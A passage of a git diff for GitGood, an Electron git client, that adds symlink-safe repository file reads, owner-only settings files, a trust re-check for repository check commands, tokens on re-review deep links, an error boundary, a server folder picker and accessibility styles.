|| null }; } const m = /^(?:x-github-client|github-windows|github-mac|gitgood):\/\/openRepo\/(.+)$/i.exec(text); if (!m) return null; diff --git a/src/main/repo/config.ts b/src/main/repo/config.ts index 28a93ad..e5831cd 100644 --- a/src/main/repo/config.ts +++ b/src/main/repo/config.ts @@ -1,6 +1,5 @@ -import { readFile } from 'node:fs/promises'; -import { join } from 'node:path'; import { log } from '../logger'; +import { readRepoFile } from './paths'; export interface RepoConfig { /** Shell command from `.gitgood/config.json`'s `postResolveCheck` field, or null when absent/invalid. */ @@ -14,17 +13,13 @@ const EMPTY_REPO_CONFIG: RepoConfig = { postResolveCheck: null }; * never runs the command it reports and never gates on trust: it is a pure * read used both by the trust-confirmation flow and by the resolver, which * itself decides (via the store's `trustedRepoConfigs`) whether the returned - * command may actually be run. Missing file, unreadable file or malformed + * command may actually be run. Missing file, symlink (or one leaving the repository), unreadable file or malformed * JSON all resolve to the empty config rather than throwing. */ export async function readRepoConfig(repoPath: string): Promise { - const file = join(repoPath, '.gitgood', 'config.json'); - let text: string; - try { - text = await readFile(file, 'utf8'); - } catch { - return EMPTY_REPO_CONFIG; - } + const file = '.gitgood/config.json'; + const text = (await readRepoFile(repoPath, file))?.toString('utf8'); + if (text === undefined) return EMPTY_REPO_CONFIG; try { const parsed = JSON.parse(text) as unknown; return parseRepoConfig(parsed); diff --git a/src/main/repo/manager.ts b/src/main/repo/manager.ts index c655164..3e2b53d 100644 --- a/src/main/repo/manager.ts +++ b/src/main/repo/manager.ts @@ -8,7 +8,7 @@ import { getBranches } from '../git/branches'; import { currentClient } from '../core/client-context'; import type { GitClient } from '../git/git'; import { getRemotes, getStashes, getTopLevel } from '../git/operations'; -import { getGitDir, getStatus } from '../git/status'; +import { getGitDir, getStatus, getStatusIndicator } from '../git/status'; import { getCommonDir, getMainWorktreePath, listWorktrees } from '../git/worktree'; import { log } from '../logger'; import type { Store } from '../store'; @@ -563,8 +563,7 @@ export class RepositoryManager { const updated = await mapWithConcurrency(repos, 3, async (repo): Promise => { if (!existsSync(repo.path)) return { ...repo, indicator: null }; try { - const status = await getStatus(this.git, repo.path); - return { ...repo, indicator: { ahead: status.branch.ahead, behind: status.branch.behind, hasChanges: status.files.length > 0 } }; + return { ...repo, indicator: await getStatusIndicator(this.git, repo.path) }; } catch { return { ...repo, indicator: null }; } @@ -573,17 +572,14 @@ export class RepositoryManager { // Derived (unregistered) worktrees are not persisted, so their indicators // are computed fresh here rather than cached across refreshes. const list = await this.list(false); - const withDerivedIndicators = await Promise.all( - list.map(async (r) => { - if (!r.worktreeOf || r.missing || updated.some((u) => u.id === r.id)) return r; - try { - const status = await getStatus(this.git, r.path); - return { ...r, indicator: { ahead: status.branch.ahead, behind: status.branch.behind, hasChanges: status.files.length > 0 } }; - } catch { - return r; - } - }), - ); + const withDerivedIndicators = await mapWithConcurrency(list, 3, async (r) => { + if (!r.worktreeOf || r.missing || updated.some((u) => u.id === r.id)) return r; + try { + return { ...r, indicator: await getStatusIndicator(this.git, r.path) }; + } catch { + return r; + } + }); this.send('repos.changed', withDerivedIndicators); return withDerivedIndicators; } diff --git a/src/main/repo/paths.ts b/src/main/repo/paths.ts index 7c47e33..4f1edcc 100644 --- a/src/main/repo/paths.ts +++ b/src/main/repo/paths.ts @@ -1,5 +1,5 @@ -import { realpath } from 'node:fs/promises'; -import { normalize, parse, sep } from 'node:path'; +import { lstat, readFile, realpath } from 'node:fs/promises'; +import { dirname, join, normalize, parse, sep } from 'node:path'; /** * Path comparison for watched folders and exclusions, matching the rules @@ -49,3 +49,36 @@ export function isInside(parent: string, child: string): boolean { const c = normalizePath(child); return c === p || c.startsWith(p.endsWith(sep) ? p : p + sep); } + +/** + * Reads a regular file inside the repository, or returns null. Repo contents are + * untrusted: a symlink (or a symlinked parent directory) must never make us read + * — and later upload to an AI backend or run — a file outside the repo. Symlinks + * are refused outright and the resolved path must stay inside the resolved repo. + * ponytail: lstat/realpath then read is not atomic; a racing local writer could swap in a link. + */ +export async function readRepoFile(repoPath: string, relPath: string): Promise { + try { + const file = join(repoPath, ...relPath.split('/')); + if (!(await lstat(file)).isFile()) return null; + if (!isInside(await realpath(repoPath), await realpath(file))) return null; + return await readFile(file); + } catch { + return null; + } +} + +/** Throws unless the deepest existing ancestor of `fsPath` resolves (symlinks included) to a place inside the repository. For writes that may create new directories. */ +export async function assertInsideRepo(repoPath: string, fsPath: string): Promise { + const root = await realpath(repoPath); + let dir = dirname(fsPath); + for (;;) { + try { + if (isInside(root, await realpath(dir))) return; + throw new Error(`Path escapes the repository: ${fsPath}`); + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== 'ENOENT') throw err; + dir = dirname(dir); + } + } +} diff --git a/src/main/settings/sync-core.ts b/src/main/settings/sync-core.ts index 4fd716f..830bd77 100644 --- a/src/main/settings/sync-core.ts +++ b/src/main/settings/sync-core.ts @@ -79,7 +79,6 @@ const AI_PREFERENCE_KEYS = { reviewMaxFiles: true, reviewPostFooter: true, agentCommand: true, - agentCustomCommand: true, } satisfies Record; const INTEGRATION_KEYS = { @@ -132,7 +131,7 @@ const AI_ENUM_KEYS: Partial> reviewStrictness: ['strict', 'balanced', 'thorough'], agentCommand: ['claude', 'codex', 'omp', 'custom'], }; -const AI_STRING_KEYS = new Set(['model', 'agentCustomCommand']); +const AI_STRING_KEYS = new Set(['model']); const AI_BOOLEAN_KEYS = new Set(['autoStageAfterResolve', 'reviewPostFooter']); const AI_NUMBER_KEYS = new Set(['reviewMaxFiles']); diff --git a/src/main/store.ts b/src/main/store.ts index 60b7913..f1d348a 100644 --- a/src/main/store.ts +++ b/src/main/store.ts @@ -15,22 +15,35 @@ interface Persisted { value: T; } +/** A missing file is the normal first-run case. A file that fails to parse is moved aside as `.corrupt-` so the next write cannot silently destroy it. */ function readJson(file: string, fallback: T): T { + let text: string; + try { + text = readFileSync(file, 'utf8'); + } catch (err) { + if ((err as NodeJS.ErrnoException).code !== 'ENOENT') log.error(`Failed to read ${file}`, err); + return fallback; + } try { - if (!existsSync(file)) return fallback; - const text = readFileSync(file, 'utf8'); return { ...fallback, ...(JSON.parse(text) as T) }; } catch (err) { - log.error(`Failed to read ${file}`, err); + const preserved = `${file}.corrupt-${Date.now()}`; + try { + renameSync(file, preserved); + log.error(`${file} is not valid JSON; kept as ${preserved} and starting from defaults`, err); + } catch (renameErr) { + log.error(`${file} is not valid JSON and could not be preserved`, renameErr); + } return fallback; } } +/** Files here hold repo paths and (on the plaintext fallback) the API key, so they are owner-only; the temp file is created with the mode so it is never briefly readable. POSIX only, ignored on Windows. */ function writeJson(file: string, value: unknown): void { const dir = join(file, '..'); - if (!existsSync(dir)) mkdirSync(dir, { recursive: true }); + if (!existsSync(dir)) mkdirSync(dir, { recursive: true, mode: 0o700 }); const tmp = `${file}.tmp`; - writeFileSync(tmp, JSON.stringify(value, null, 2)); + writeFileSync(tmp, JSON.stringify(value, null, 2), { mode: 0o600 }); renameSync(tmp, file); } @@ -266,7 +279,7 @@ export class Store { if (encrypted) { stored = `enc:${encrypted}`; } else { - log.warn('OS encryption unavailable; storing API key with restricted file permissions only'); + log.warn('OS encryption unavailable; storing API key in plaintext in secrets.json (owner-only file permissions)'); stored = key; } } diff --git a/src/main/update/update-core.ts b/src/main/update/update-core.ts index 6ae1067..8c314b1 100644 --- a/src/main/update/update-core.ts +++ b/src/main/update/update-core.ts @@ -158,6 +158,9 @@ export function detectDisabledReason(env: DisabledEnv): string | null { if (!env.isPackaged) return 'Updates unavailable in this build (development / unpackaged).'; if (env.portableExecutableDir) return 'Updates are unavailable in portable Windows builds. Download new versions manually.'; if (env.appImagePath && !env.appImageWritable) return 'Updates are unavailable when running from a read-only location. Download new versions manually.'; + // A packaged Linux run that is not an AppImage is a system package (.deb): electron-updater would + // dpkg -i the download as root, so updates stay with the package manager / a manual download. + if (env.platform === 'linux' && !env.appImagePath) return 'Updates are unavailable for system-package (.deb) installs. Install new versions from the Releases page or your package manager.'; if (env.platform === 'darwin') return 'Updates are unavailable on this unsigned, non-notarised build. Download new versions manually.'; return null; } diff --git a/src/main/window.ts b/src/main/window.ts index f9cc18a..1a8a0e5 100644 --- a/src/main/window.ts +++ b/src/main/window.ts @@ -3,6 +3,7 @@ import { BrowserWindow, nativeTheme, screen, shell } from 'electron'; import { debounce } from '@shared/util'; import { log } from './logger'; import type { Store } from './store'; +import { appEntryUrl, isEntryUrl } from './app-url'; import { sendEvent } from './ipc'; /** @@ -75,9 +76,9 @@ export function createMainWindow(store: Store, onFocusChange?: (focused: boolean if (/^https?:\/\//i.test(url)) void shell.openExternal(url); return { action: 'deny' }; }); + const entry = appEntryUrl(remoteUrl); win.webContents.on('will-navigate', (event, url) => { - const allowed = remoteUrl ? `${remoteUrl}/` : (process.env.ELECTRON_RENDERER_URL ?? 'file://'); - if (!url.startsWith(allowed)) { + if (!isEntryUrl(url, entry)) { event.preventDefault(); if (/^https?:\/\//i.test(url)) void shell.openExternal(url); } diff --git a/src/renderer/src/components/Banners.tsx b/src/renderer/src/components/Banners.tsx index 49dc9d1..bd9bc13 100644 --- a/src/renderer/src/components/Banners.tsx +++ b/src/renderer/src/components/Banners.tsx @@ -3,6 +3,7 @@ import type { UpdateState } from '@shared/types'; import { formatRelativeTime } from '@shared/util'; import * as actions from '../state/actions'; import { openDialog, store, useAppStore } from '../state/store'; +import { on } from '../api'; import { Button, Icon, Spinner } from './ui'; function lfsInstallHint(platform: string): string { @@ -81,6 +82,36 @@ function CheckFailedBanner(): React.JSX.Element | null { ); } +/** Event-socket state of a browser tab or remote-server session (see src/server/web-bridge.ts); null while healthy. */ +function useServerBanner(): React.JSX.Element | null { + const [connected, setConnected] = useState(true); + const [updatedTo, setUpdatedTo] = useState(null); + useEffect(() => { + const offs = [on('server.connection', (p) => setConnected(p.connected)), on('server.updated', (p) => setUpdatedTo(p.version))]; + return () => offs.forEach((off) => off()); + }, []); + if (!connected) { + return ( +
+ + Reconnecting to server… Changes made elsewhere will appear once the connection is back. +
+ ); + } + if (updatedTo) { + return ( +
+ + GitGood server was updated to {updatedTo}. Reload to use the new version. + + + +
+ ); + } + return null; +} + export function Banners(): React.JSX.Element | null { const status = useAppStore((s) => s.status); const repo = useAppStore((s) => s.currentRepo); @@ -117,7 +148,8 @@ export function Banners(): React.JSX.Element | null { }, [dismissedLfsRepo, repo?.path, showLfsBanner]); const update = updateBanner(updateState); - if (!repo || !status) return update ?
{update}
: null; + const serverBanner = useServerBanner(); + if (!repo || !status) return update || serverBanner ?
{serverBanner}{update}
: null; const banners: React.ReactNode[] = []; const op = status.operation; @@ -227,5 +259,6 @@ export function Banners(): React.JSX.Element | null { } if (update) banners.push(update); + if (serverBanner) banners.unshift(serverBanner); return banners.length ?
{banners}
: null; } diff --git a/src/renderer/src/components/ErrorBoundary.tsx b/src/renderer/src/components/ErrorBoundary.tsx new file mode 100644 index 0000000..c4d0d1e --- /dev/null +++ b/src/renderer/src/components/ErrorBoundary.tsx @@ -0,0 +1,47 @@ +import React from 'react'; +import { invoke } from '../api'; +import { Button } from './ui'; + +interface State { + details: string | null; + copied: boolean; +} + +/** Last-resort catch for render errors: shows what happened, offers Reload and Copy details, and logs the error to the main-process log via `app.log`. Uses no store state, so it still works when the crash came from a store selector. */ +export class ErrorBoundary extends React.Component<{ children: React.ReactNode }, State> { + override state: State = { details: null, copied: false }; + + static getDerivedStateFromError(error: unknown): Partial { + return { details: error instanceof Error ? error.stack ?? error.message : String(error) }; + } + + override componentDidCatch(error: unknown, info: React.ErrorInfo): void { + const details = `${error instanceof Error ? error.stack ?? error.message : String(error)}\n\nComponent stack:${info.componentStack ?? ''}`; + this.setState({ details }); + void invoke('app.log', 'error', `Render error: ${details}`).catch(() => undefined); + } + + override render(): React.ReactNode { + const { details, copied } = this.state; + if (details === null) return this.props.children; + return ( +
+

Something went wrong

+

GitGood hit an unexpected error while drawing this screen. Your repository and any uncommitted changes are untouched. Reloading usually fixes it.

+
{details}
+
+ + +
+
+ ); + } +} diff --git a/src/renderer/src/components/HistoryTab.tsx b/src/renderer/src/components/HistoryTab.tsx index a3f797d..75b7767 100644 --- a/src/renderer/src/components/HistoryTab.tsx +++ b/src/renderer/src/components/HistoryTab.tsx @@ -12,6 +12,72 @@ import { useWindowedRows } from '../lib/windowing'; const COMMIT_ROW_ESTIMATES = { row: 60 }; const commitRowKind = (): string => 'row'; +const FILES_WIDTH_KEY = 'gitgood.commitFilesWidth'; +const FILES_WIDTH_MIN = 160; +const FILES_WIDTH_MAX = 640; +const FILES_WIDTH_DEFAULT = 280; +const FILES_WIDTH_STEP = 16; + +function loadFilesWidth(): number { + try { + const n = Number(localStorage.getItem(FILES_WIDTH_KEY)); + return Number.isFinite(n) && n >= FILES_WIDTH_MIN && n <= FILES_WIDTH_MAX ? n : FILES_WIDTH_DEFAULT; + } catch { + return FILES_WIDTH_DEFAULT; + } +} + +/** Drag handle on the right edge of the commit's changed-files pane. The width is written straight to the DOM while dragging and committed (state + localStorage) on release; arrow keys resize too. The `.commit-files` CSS min/max-width keep it usable in narrow windows, and phone/tablet-portrait layouts hide the handle and override the width. */ +function FilesResizer({ width, onCommit }: { width: number; onCommit: (width: number) => void }): React.JSX.Element { + const [active, setActive] = useState(false); + const clamp = (w: number, pane: HTMLElement): number => { + const available = pane.parentElement?.clientWidth ?? FILES_WIDTH_MAX; + return Math.round(Math.max(FILES_WIDTH_MIN, Math.min(FILES_WIDTH_MAX, available * 0.6, w))); + }; + const onMouseDown = (e: React.MouseEvent): void => { + const pane = e.currentTarget.parentElement; + if (!pane) return; + e.preventDefault(); + const startX = e.clientX; + const startWidth = width; + let next = width; + setActive(true); + const move = (ev: MouseEvent): void => { + next = clamp(startWidth + ev.clientX - startX, pane); + pane.style.setProperty('--commit-files-width', `${next}px`); + }; + const up = (): void => { + window.removeEventListener('mousemove', move); + window.removeEventListener('mouseup', up); + setActive(false); + onCommit(next); + }; + window.addEventListener('mousemove', move); + window.addEventListener('mouseup', up); + }; + const onKeyDown = (e: React.KeyboardEvent): void => { + const pane = e.currentTarget.parentElement; + const delta = e.key === 'ArrowLeft' ? -FILES_WIDTH_STEP : e.key === 'ArrowRight' ? FILES_WIDTH_STEP : 0; + if (!pane || !delta) return; + e.preventDefault(); + onCommit(clamp(width + (e.shiftKey ? delta * 4 : delta), pane)); + }; + return ( +
+ ); +} + const SIGNATURE_BADGES: Partial string }>> = { good: { icon: 'check-circle', className: 'sig-good', label: (signer) => `Good signature${signer ? ` from ${signer}` : ''}` }, bad: { icon: 'x-circle', className: 'sig-bad', label: () => 'Bad signature' }, @@ -381,6 +447,15 @@ export function CommitDetailsPane(): React.JSX.Element { const verifySignatures = useAppStore((s) => s.settings?.historyVerifySignatures ?? false); const aiEnabled = useAppStore((s) => (s.settings?.ai.provider ?? 'disabled') !== 'disabled'); const [expanded, setExpanded] = useState(false); + const [filesWidth, setFilesWidth] = useState(loadFilesWidth); + const commitFilesWidth = useCallback((width: number): void => { + setFilesWidth(width); + try { + localStorage.setItem(FILES_WIDTH_KEY, String(width)); + } catch { + /* private mode / storage disabled: keep the width for this session only */ + } + }, []); if (history.selectedShas.length > 1) { const selectedCommits = history.commits.filter((c) => history.selectedShas.includes(c.sha)); @@ -469,7 +544,7 @@ export function CommitDetailsPane(): React.JSX.Element { ) : null}
-
+
{visibleFiles.length} {history.matchingFiles ? 'matching' : 'changed'} file{visibleFiles.length === 1 ? '' : 's'} @@ -500,6 +575,7 @@ export function CommitDetailsPane(): React.JSX.Element { /> ))}
+
diff --git a/src/renderer/src/components/dialogs/ServerFolderPicker.tsx b/src/renderer/src/components/dialogs/ServerFolderPicker.tsx new file mode 100644 index 0000000..0be18ef --- /dev/null +++ b/src/renderer/src/components/dialogs/ServerFolderPicker.tsx @@ -0,0 +1,119 @@ +import React, { useEffect, useState } from 'react'; +import type { EventPayloads } from '@shared/ipc'; +import type { IpcResult } from '@shared/types'; +import { on } from '../../api'; +import { Button, Dialog, Icon, TextField } from '../ui'; + +type PickRequest = EventPayloads['server.pickDirectory']; + +interface Listing { + path: string | null; + parent: string | null; + entries: { name: string; path: string }[]; +} + +/** + * Folder picker for a server's filesystem, shown when the web bridge (a browser tab or a desktop client of a remote + * server) receives `app.chooseDirectory`. Mounted next to the current dialog rather than pushed onto the dialog + * stack, so the form that asked (Clone, Settings…) keeps its state underneath. + */ +export function ServerFolderPicker(): React.JSX.Element | null { + const [request, setRequest] = useState(null); + useEffect(() => on('server.pickDirectory', setRequest), []); + return request ? ( + { + request.done(path); + setRequest(null); + }} + /> + ) : null; +} + +function PickerDialog({ request, onDone }: { request: PickRequest; onDone: (path: string | null) => void }): React.JSX.Element { + const [listing, setListing] = useState(null); + const [typed, setTyped] = useState(''); + const [error, setError] = useState(''); + + /** Lists `path` (null: the allowed roots); on failure keeps the current listing and shows why. */ + const open = async (path: string | null): Promise => { + const res = (await window.gitgoodBridge.invokeRaw('app.listDir', path)) as IpcResult; + if (!res.ok) { + setError(res.error.message); + return null; + } + setError(''); + setListing(res.value); + setTyped(res.value.path ?? ''); + return res.value; + }; + useEffect(() => { + void open(null); + }, []); + + // A typed but not yet opened path is opened (and so validated and confined by the server) before it is selected. + const select = async () => { + const wanted = typed.trim(); + if (wanted && wanted !== listing?.path) { + const opened = await open(wanted); + if (opened) onDone(opened.path); + } else { + onDone(listing?.path ?? null); + } + }; + + const row = (key: string, label: string, target: string | null, folder = true) => ( +
void open(target)} + onKeyDown={(e) => { + if (e.key === 'Enter' || e.key === ' ') { + e.preventDefault(); + void open(target); + } + }} + > + {folder ? : null} + {label} +
+ ); + + return ( + onDone(null)} + footer={ + <> + + + + } + > + setTyped(e.target.value)} + onKeyDown={(e) => { + if (e.key === 'Enter') { + e.preventDefault(); + void open(typed.trim() || null); + } + }} + placeholder="Type a path and press Enter" + spellCheck={false} + autoFocus + error={error || undefined} + /> +
+ {listing && (listing.parent !== null || listing.path) ? row('up', '← Up', listing.parent, false) : null} + {listing?.entries.map((entry) => row(entry.path, entry.name, entry.path))} + {listing && !listing.entries.length ?
No subfolders
: null} +
+
+ ); +} diff --git a/src/renderer/src/components/dialogs/SettingsDialog.tsx b/src/renderer/src/components/dialogs/SettingsDialog.tsx index 80d7e75..28a06ff 100644 --- a/src/renderer/src/components/dialogs/SettingsDialog.tsx +++ b/src/renderer/src/components/dialogs/SettingsDialog.tsx @@ -666,8 +666,9 @@ function PostResolveCheckSettings({ ai, updateAi }: { ai: AppSettings['ai']; upd variant="link" onClick={async () => { if (!repo) return; - await invoke('repo.trustConfig', repo.path, true); - setRepoConfig({ ...repoConfig, trustState: 'trusted' }); + const result = await invoke('repo.trustConfig', repo.path, true, repoConfig.command); + // Refused: the file changed since it was displayed. Show the new command and let the user decide again. + setRepoConfig(result.ok ? { ...repoConfig, trustState: 'trusted' } : await invoke('repo.checkConfig', repo.path)); }} > Trust it now @@ -878,7 +879,7 @@ function AdvancedTab({ settings, update }: { settings: AppSettings; update: (p:

Portable settings

-

Carry your preferences, repository list and integration choices to another machine, as a file or through a secret GitHub gist. Never includes your API key, saved credentials, tool paths or window position.

+

Carry your preferences, repository list and integration choices to another machine, as a file or through a secret GitHub gist. Never includes your API key, saved credentials, custom agent command, tool paths or window position.

diff --git a/src/renderer/src/components/dialogs/SettingsSyncDialogs.tsx b/src/renderer/src/components/dialogs/SettingsSyncDialogs.tsx index 51f2a8d..6d63625 100644 --- a/src/renderer/src/components/dialogs/SettingsSyncDialogs.tsx +++ b/src/renderer/src/components/dialogs/SettingsSyncDialogs.tsx @@ -59,7 +59,7 @@ export function ExportSettingsDialog(): React.JSX.Element { toggle(s)} label={SECTION_LABELS[s]} /> ))} - This file never includes your API key, saved GitHub credentials, tool paths, or window position — only the settings above. + This file never includes your API key, saved GitHub credentials, custom agent command, tool paths, or window position — only the settings above. {error ? {error} : null} @@ -273,7 +273,7 @@ export function SettingsSyncCard(): React.JSX.Element { openDialog({ kind: 'confirm', title: 'Enable settings sync', - message: 'GitGood stores an export of your settings in a secret GitHub gist. Secret gists are not listed publicly, but anyone with the link can read them. Only the fields you can also export to a file are included — never your API key or saved credentials.', + message: 'GitGood stores an export of your settings in a secret GitHub gist. Secret gists are not listed publicly, but anyone with the link can read them, and GitGood refuses to sync to a gist that is public. Only the fields you can also export to a file are included — never your API key, saved credentials or custom agent command.', confirmLabel: 'Enable', onConfirm: async () => { try { diff --git a/src/renderer/src/components/dialogs/index.tsx b/src/renderer/src/components/dialogs/index.tsx index c4c824e..e328c1e 100644 --- a/src/renderer/src/components/dialogs/index.tsx +++ b/src/renderer/src/components/dialogs/index.tsx @@ -20,9 +20,19 @@ import { AboutDialog, SettingsDialog, ShortcutsDialog, UpdateNotesDialog } from import { ExportSettingsDialog, ImportSettingsDialog } from './SettingsSyncDialogs'; import { BranchFromStashDialog, StashSelectedFilesDialog } from './StashDialogs'; import { SubmodulesDialog } from './SubmoduleDialogs'; +import { ServerFolderPicker } from './ServerFolderPicker'; import { AddWorktreeDialog, LockWorktreeDialog, PruneWorktreesDialog, RemoveWorktreeDialog, WorktreesDialog } from './WorktreeDialogs'; -export function Dialogs(): React.JSX.Element | null { +export function Dialogs(): React.JSX.Element { + return ( + <> + + + + ); +} + +function CurrentDialog(): React.JSX.Element | null { const dialog = useAppStore((s) => s.dialog); if (!dialog) return null; switch (dialog.kind) { diff --git a/src/renderer/src/components/ui.tsx b/src/renderer/src/components/ui.tsx index c6e0da1..d0e550d 100644 --- a/src/renderer/src/components/ui.tsx +++ b/src/renderer/src/components/ui.tsx @@ -375,6 +375,8 @@ export function Dialog({ title, onClose, children, footer, width, icon, dismissi useEffect(() => { const onKey = (e: KeyboardEvent) => { if (e.key === 'Escape' && dismissible) { + // The server folder picker opens over its asking dialog: only the topmost dialog takes Escape. + if (ref.current?.closest('.dialog-backdrop') !== [...document.querySelectorAll('.dialog-backdrop')].at(-1)) return; e.stopPropagation(); onClose(); return; diff --git a/src/renderer/src/main.tsx b/src/renderer/src/main.tsx index a3d245e..bdd4753 100644 --- a/src/renderer/src/main.tsx +++ b/src/renderer/src/main.tsx @@ -1,6 +1,7 @@ import React from 'react'; import { createRoot } from 'react-dom/client'; import { App } from './App'; +import { ErrorBoundary } from './components/ErrorBoundary'; import * as actions from './state/actions'; import { store } from './state/store'; import { buildDiscardPatch, buildStagePatch } from '@shared/diff/patch'; @@ -12,6 +13,7 @@ import './styles/diff.css'; import './styles/dialogs.css'; import './styles/review.css'; import './styles/help.css'; +import './styles/forced-colors.css'; // Exposed for automated smoke tests and debugging from the devtools console. // `invoke` lets a smoke script drive a raw IPC method a friendly action does not cover (e.g. forcing // a push with no upstream set, to reproduce a specific error for the error-explanation smoke test). @@ -27,6 +29,8 @@ const container = document.getElementById('root'); if (!container) throw new Error('Missing #root element'); createRoot(container).render( - + + + , ); diff --git a/src/renderer/src/state/actions.ts b/src/renderer/src/state/actions.ts index 4f7f855..972d6be 100644 --- a/src/renderer/src/state/actions.ts +++ b/src/renderer/src/state/actions.ts @@ -90,7 +90,7 @@ export async function bootstrap(): Promise { }); on('menu.action', ({ action, args }) => { if (action === 'protocol-open') void handleProtocolOpen(args as { url: string; branch: string | null; filepath: string | null }); - else if (action === 'protocol-review-rerun') void handleProtocolReviewRerun(args as { repoPath: string }); + else if (action === 'protocol-review-rerun') void handleProtocolReviewRerun(args as { repoPath: string; token: string | null }); else void handleMenuAction(action, args); }); on('gh.auth.code', ({ code, url }) => store.set((s) => ({ login: { ...s.login, code, url } }))); @@ -676,18 +676,20 @@ async function ensureCheckTrustPrompted(repoPath: string): Promise { return; } if (!info.command || info.trustState !== 'unknown') return; - const command = info.command; - await new Promise((resolvePromise) => { - openDialog({ - kind: 'trust-repo-check', - repoPath, - command, - onDecision: (accept) => { - closeDialog(); - void invoke('repo.trustConfig', repoPath, accept).finally(resolvePromise); - }, + let command: string | null = info.command; + // Re-prompt with the new command whenever the file changed while the dialog was open (repo.trustConfig refuses a grant for a command the user was not shown). + while (command) { + const shown: string = command; + const accept = await new Promise((resolvePromise) => { + openDialog({ kind: 'trust-repo-check', repoPath, command: shown, onDecision: (a) => { closeDialog(); resolvePromise(a); } }); }); - }); + try { + const result = await invoke('repo.trustConfig', repoPath, accept, shown); + command = result.ok ? null : result.command; + } catch { + return; + } + } } export function dismissCheckBanner(): void { diff --git a/src/renderer/src/state/agentHandoff.ts b/src/renderer/src/state/agentHandoff.ts index 426ed75..1226d02 100644 --- a/src/renderer/src/state/agentHandoff.ts +++ b/src/renderer/src/state/agentHandoff.ts @@ -2,7 +2,7 @@ import type { ReviewRun } from '@shared/types'; import { AGENT_PRESETS } from '@shared/agent-presets'; import { pathsEqual } from '@shared/util'; import { invoke, isMac } from '../api'; -import { openRepository, showError, updateSettings } from './actions'; +import { includedFiles, openRepository, showError, updateSettings } from './actions'; import { reviewChangesBeforeCommit } from './precommitReview'; import { openDialog, showToast, store } from './store'; @@ -82,11 +82,13 @@ async function waitForStatus(repoPath: string): Promise { } /** - * The `gitgood://review/rerun?repo=…` deep link: re-runs the most recent + * The `gitgood://review/rerun?repo=…&token=…` deep link: re-runs the most recent * review for that repository. Every refusal is explained in a toast and - * starts nothing. Exposed on window.__gitgood.actions for smoke tests. + * starts nothing. A link without a valid, unspent token (anything not written + * by GitGood's own export) asks the user to confirm before any upload. + * Exposed on window.__gitgood.actions for smoke tests. */ -export async function handleProtocolReviewRerun(args: { repoPath: string }): Promise { +export async function handleProtocolReviewRerun(args: { repoPath: string; token?: string | null }): Promise { const s = store.get(); const match = s.repos.find((r) => !r.missing && samePathHere(r.path, args.repoPath)); if (!match) { @@ -134,5 +136,21 @@ export async function handleProtocolReviewRerun(args: { repoPath: string }): Pro }, 12000); return; } - await reviewChangesBeforeCommit(); + // Spent only now, once nothing else can refuse the request, so a transient refusal does not burn the agent's link. + if (args.token && (await invoke('ai.review.consumeRerunToken', match.path, args.token))) { + await reviewChangesBeforeCommit(); + return; + } + const files = includedFiles().map((f) => f.path); + openDialog({ + kind: 'confirm', + title: 'Send your pending changes to AI for a re-review?', + message: [ + 'A link from outside GitGood asked for a re-review and did not carry a valid token, so nothing has been sent yet.', + `Repository: ${match.path}`, + `Files that would be sent to ${s.settings.ai.provider}:\n${files.slice(0, 15).join('\n')}${files.length > 15 ? `\n… and ${files.length - 15} more` : ''}`, + ].join('\n\n'), + confirmLabel: 'Re-review', + onConfirm: () => reviewChangesBeforeCommit(), + }); } diff --git a/src/renderer/src/styles/components.css b/src/renderer/src/styles/components.css index 712ac5f..604d3f2 100644 --- a/src/renderer/src/styles/components.css +++ b/src/renderer/src/styles/components.css @@ -857,14 +857,30 @@ min-height: 0; } .commit-files { - width: min(280px, 32%); + position: relative; + width: var(--commit-files-width, min(280px, 32%)); min-width: 160px; + max-width: 60%; flex: 0 0 auto; border-right: 1px solid var(--border); display: flex; flex-direction: column; min-height: 0; } +.commit-files-resizer { + position: absolute; + top: 0; + right: -3px; + width: 6px; + height: 100%; + cursor: col-resize; + z-index: 5; +} +.commit-files-resizer:hover, +.commit-files-resizer.active, +.commit-files-resizer:focus-visible { + background: var(--accent-muted); +} .commit-files .changes-header { font-weight: 500; color: var(--fg-muted); @@ -1464,9 +1480,13 @@ .commit-body { flex-direction: column; } + .commit-files-resizer { + display: none; + } .app[data-view='history'][data-pane='detail'] .commit-files { width: 100%; min-width: 0; + max-width: none; flex: 1; border-right: none; } @@ -1831,6 +1851,9 @@ border-right: none; border-bottom: 1px solid var(--border); } + .commit-files-resizer { + display: none; + } #commit-diff-slot { min-height: 0; } diff --git a/src/renderer/src/styles/diff.css b/src/renderer/src/styles/diff.css index e3cbba9..001fbfa 100644 --- a/src/renderer/src/styles/diff.css +++ b/src/renderer/src/styles/diff.css @@ -101,7 +101,7 @@ table.diff .num { min-width: 50px; text-align: right; padding: 0 8px 0 4px; - color: var(--fg-subtle); + color: var(--fg-muted); user-select: none; background: var(--bg-subtle); white-space: nowrap; @@ -119,7 +119,7 @@ table.diff .sel { background: var(--bg-subtle); } table.diff tr:hover .sel { - color: var(--fg-subtle); + color: var(--fg-muted); } table.diff .sel.on { color: var(--accent); @@ -361,7 +361,7 @@ table.diff tr.expander button:hover { min-width: 50px; text-align: right; padding: 0 8px 0 4px; - color: var(--fg-subtle); + color: var(--fg-muted); user-select: none; background: var(--bg-subtle); } @@ -585,7 +585,7 @@ table.diff tr.flash-highlight td { } table.diff tr:hover .sel, table.diff .sel { - color: var(--fg-subtle); + color: var(--fg-muted); } table.diff tr.hunk .hunk-actions button { min-height: 40px; diff --git a/src/renderer/src/styles/forced-colors.css b/src/renderer/src/styles/forced-colors.css new file mode 100644 index 0000000..eb613a8 --- /dev/null +++ b/src/renderer/src/styles/forced-colors.css @@ -0,0 +1,101 @@ +/* Windows High Contrast / forced-colors: the browser replaces our palette with system colours, dropping backgrounds + tints and box-shadows. Selection, focus, buttons, badges and diff markers that rely on those must be restated with + system colours and borders/outlines/text to stay distinguishable. Imported last so it wins ties. */ +@media (forced-colors: active) { + /* Selected rows and the active tab. */ + .list-row.selected, + .file-row.selected, + .commit-row.selected { + background: Highlight; + color: HighlightText; + } + .list-row.selected *, + .file-row.selected *, + .commit-row.selected * { + color: HighlightText; + } + .tab.active, + .tabbar-item.active { + border-bottom-color: Highlight; + text-decoration: underline; + } + + /* Focus rings: box-shadow rings vanish, so use real outlines. A selected row is filled with Highlight, so its ring flips to HighlightText. */ + .commit-row:focus-visible, + .file-row:focus-visible, + .list-row:focus-visible { + outline: 2px solid CanvasText; + outline-offset: -2px; + } + .commit-row.selected:focus-visible, + .file-row.selected:focus-visible, + .list-row.selected:focus-visible { + outline-color: HighlightText; + } + input:focus-visible, + textarea:focus-visible, + 